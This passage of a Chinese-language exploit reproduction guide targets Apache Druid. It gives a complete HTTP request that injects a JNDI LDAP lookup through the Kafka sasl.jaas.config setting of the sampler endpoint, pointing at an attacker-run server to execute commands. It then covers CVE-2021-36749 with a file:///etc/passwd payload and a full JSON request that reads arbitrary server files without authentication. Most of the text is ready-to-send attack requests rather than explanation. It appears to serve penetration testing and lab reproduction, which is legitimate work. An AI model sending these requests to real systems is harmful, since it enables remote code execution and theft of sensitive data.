进入JNDI板块设置攻击机IP之后选择jndibasicpayload,设置要执行的命令,点击生成,然后抓包发送如下数据包:
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1405
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://java-chains:50389/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
将之前生成的恶意load URL放在请求中并发送
# 任意文件读取漏洞 CVE-2021-36749
参考文章:Apache Druid任意文件读取漏洞(CVE-2021-36749)-CSDN博客
影响范围为Apache Druid <= 0.21.1
Apache Druid是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台,Apache Druid对用户指定的HTTP InputSource没有做限制,并且Apachewe Druid默认管理页面不需要认证即可访问,可以通过将文件传递给HTTP InputSource来绕过,因此未经授权的远程攻击者可以通过构造恶意参数读取服务器上的任意文件,造成服务器敏感信息泄露
漏洞复现:在管理面板找到Load data之后点击HTTP(s),Connect data,URIs(使用file://协议读取)
URIs写入payload:file:///etc/passwd,然后点击Apply,在当前页面显示结果
当Load data无法点击时,可以向接口/druid/indexer/v1/sampler以POST请求发送数据:
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "local",
"baseDir": "/etc/",
"filter": "passwd"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso",
"missingValue": "1970"
},
"dimensionsSpec": {}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
